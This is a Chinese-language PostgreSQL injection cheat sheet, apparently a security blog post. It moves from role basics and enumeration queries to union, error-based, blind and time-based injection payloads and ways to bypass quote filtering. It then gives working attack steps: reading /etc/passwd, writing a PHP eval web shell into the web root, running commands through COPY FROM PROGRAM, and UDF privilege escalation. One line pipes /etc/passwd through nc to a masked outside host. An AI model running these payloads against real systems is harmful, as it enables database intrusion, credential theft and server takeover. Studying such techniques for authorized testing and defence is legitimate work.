环境搭建
在docker上pull一个postgresql镜像,然后就pull了一个14版本的:
1
| docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=p4s5w4Rd -d postgres
|
postgresql结构
postgresql的逻辑结构:实例→数据库→表空间→对象:
权限
创建角色
创建角色:
创建一个有登录属性的角色:
1
| create role westjun with login
|
创建用户时添加密码:
1
| create role westjun with login password 'westjun'
|
给已创建的角色添加登录属性:
1
| alter role westjun with login
|
内置角色属性
- SUPERUSER/NOSUPERUSER:超级用户/非超级用户
- CREATEDB/NOCREATEDB:允许/不允许创建数据库
- CREATEROLE/NOCREATEROLE:允许/不允许创建角色
- INHERIT/NOINHERIT:允许/不允许权限继承
- LOGIN/NOLOGIN:允许/不允许登录
- REPLICATION/NOREPLICATION:复制权限
查看角色属性
1
| select * from pg_roles where rolname='westjun'
|
默认角色
postgresql提供了一组默认角色,可以访问特定的资源,用这条命令可以查看所有角色:
然后可以用GRANT
命令将这些角色的权限授予某个用户:
1
| grant pg_execute_server_program to westjun
|
用REVOKE
回收权限:
1
| revoke pg_execute_server_program from westjun
|
信息搜集
查询版本
1
2
3
4
| select version()
select current_setting('server_version_num')
show server_version--堆叠
show server_version_num--堆叠
|
查询用户
1
2
3
4
5
| select user
select current_user
select session_user
select usename FROM pg_user
select getpgusername()
|
查询数据
查询数据库名
1
2
| select current_database()
select datname from pg_database
|
查询模式名
在postgresql中也存在information_schema
表
1
2
3
| select current_schema()
select schemaname from pg_tables
select schema_name from information_schema.schemata
|
查表名
1
2
| select tablename from pg_tables where schemaname='public'
select table_name from information_schema.tables where table_schema='public'
|
查字段名
1
2
3
4
5
6
7
8
9
10
11
| SELECT
attname,typname
FROM
pg_attribute b
JOIN pg_class A ON A.oid = b.attrelid
JOIN pg_type C ON C.oid = b.atttypid
JOIN pg_namespace d ON A.relnamespace = d.oid
WHERE
b.attnum > 0 AND A.relname = 'cmd_exec'
select column_name,data_type from information_schema.columns where table_name='users'
|
查数据
在postgresql中没有group_concat
函数,如果需要将大量数据一起查出来的话可以用string_agg
和array_agg
两个函数:
1
2
| select string_agg(id||','||username||','||password, ',') from users
select array_to_string(array_agg(id||','||username||','||password), ',') from users
|
除了使用上面的方法进行以外还可以用limit子句:
1
| select * from users limit 1 offset 1
|
postgresql注入
联合查询
在postgresql中union select
需要字段的数据类型一致,如果直接union select 1,2,3
大概率会报错,不过可以选择先用null
占位再逐个替换为合适的类型:
1
2
| select * from users where 1=0 union select null,null,null
select * from users where 1=0 union select 1,'user','pass'
|
报错注入
报错注入常用的是数据类型转换的cast
函数,将字符串转为数字时报错:
1
2
3
| select cast((select version()) as numeric)
select (select version())::numeric
select query_to_xml(version(),true,true,'')
|
盲注
盲注主要涉及到字符串截取和比较两个问题
字符串截取函数:
1
2
3
4
5
6
7
| select substr(version(),1,1)
select substring(version(),1,1)
select substring(version() from 1 for 1)
select reverse(left(version(),1))
select right(reverse(version()),1)
select reverse(lpad(version(), 1, ''))
select overlay(version() placing '' from 2 for 1000)
|
在postgresql中用这几种方式都可以实现字符串比较:
1
2
3
4
5
| select ascii(version())>79
select ascii('P')<>80
select nullif(ascii('P'),80) is null
select ascii('P') between 80 and 80
select ascii('P') in (80)
|
正则表达式:
1
2
3
4
5
| select regexp_match(version(), '^Po') is not null
select substring(version() from 'Po.')
select version() like 'Po%'
select version() ~ '^Po'
select version() similar to 'Po%'
|
报错盲注
报错盲注和报错注入不同,是利用语句是否报错判断sql语句返回的结果为true或者false,例如下面这条:
1
| select case ascii(version()) when 80 then 1 else ln((select 0)) end case
|
利用整数溢出、数据类型转化、1/0
、√-1
、ln(-1)
等方式触发报错,不过如果直接把这几种payload放在语句里可能会导致postgresql直接先计算报错的语句再计算前面的case when
条件语句,无法达到预期的效果。为了解决这个问题可以在语句中再加一个select
:
1
2
3
4
5
6
| select ln((select 0))
select exp((select 999))
select 1/(select 0)
select |/(select -1)
select sqrt((select -1))
select (select 'a')::numeric
|
时间盲注
时间盲注比较常用的函数就是pg_sleep()
,不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值:
1
2
| select 1=1 and pg_sleep(5) is null
select 1=0 or pg_sleep(5)||''=''
|
除此之外还有其他函数也能触发延时:
1
| select repeat(md5('a'), 100000)
|
绕过单引号过滤
在单引号被过滤时可以用$$
符号代替单引号:
使用chr进行拼接:
1
| select chr(97)||chr(98)||chr(99)
|
文件操作
列目录
读文件
方法1:
1
| select pg_read_file('/etc/passwd')
|
方法2,要求用户得是超级用户或者pg_read_server_files
组中用户:
1
2
3
4
5
| drop table if exists file;
create table file(res text);
copy file from '/etc/passwd';
select file from file;
drop table if exists file;
|
写文件
同样的,要求用户得是超级用户或者pg_write_server_files
组中用户:
1
| copy (select '<?php @eval($_POST["shell"]); ?>') to '/var/www/html/1.php'
|
写入二进制文件:
1
2
3
| select lo_from_bytea(12350,decode('PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=','base64'));
select lo_export(12350, '/tmp/test.txt');
select lo_unlink(12350);
|
命令执行
要求用户必须得是超级用户或者pg_execute_server_program
组的用户:
1
2
3
4
5
| drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select cmd_output from cmd_exec;
drop table if exists cmd_exec;
|
UDF提权
在8.2版本以前可以直接调用本地的libc.so
提权,无回显:
1
2
| create or replace function system(cstring) returns int as '/lib/x86_64-linux-gnu/libc.so.6', 'system' language 'c' strict;
select system('cat /etc/passwd | nc xxx.xx.xx.xx');
|
在8.2以后加载共享链接库时需要验证magic block
,需要找到对应的版本然后手动编译共享链接库然后传上去,在github上有udfhack可以用。
首先找到对应版本的扩展包安装:
1
| apt install postgresql-server-dev-14
|
然后编译安装
1
2
| gcc -Wall -I/usr/include/postgresql/14/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx lib_postgresqludf_sys.so
|
上传二进制文件test.so
1
2
3
| select lo_from_bytea(12350,decode('base64 payload here','base64'));
select lo_export(12350, '/tmp/test.so');
select lo_unlink(12350);
|
提权
1
2
| create or replace function sys_eval(text) returns text as '/tmp/test.so', 'sys_eval' language C returns NULL on NULL input immutable;
select sys_eval('id');
|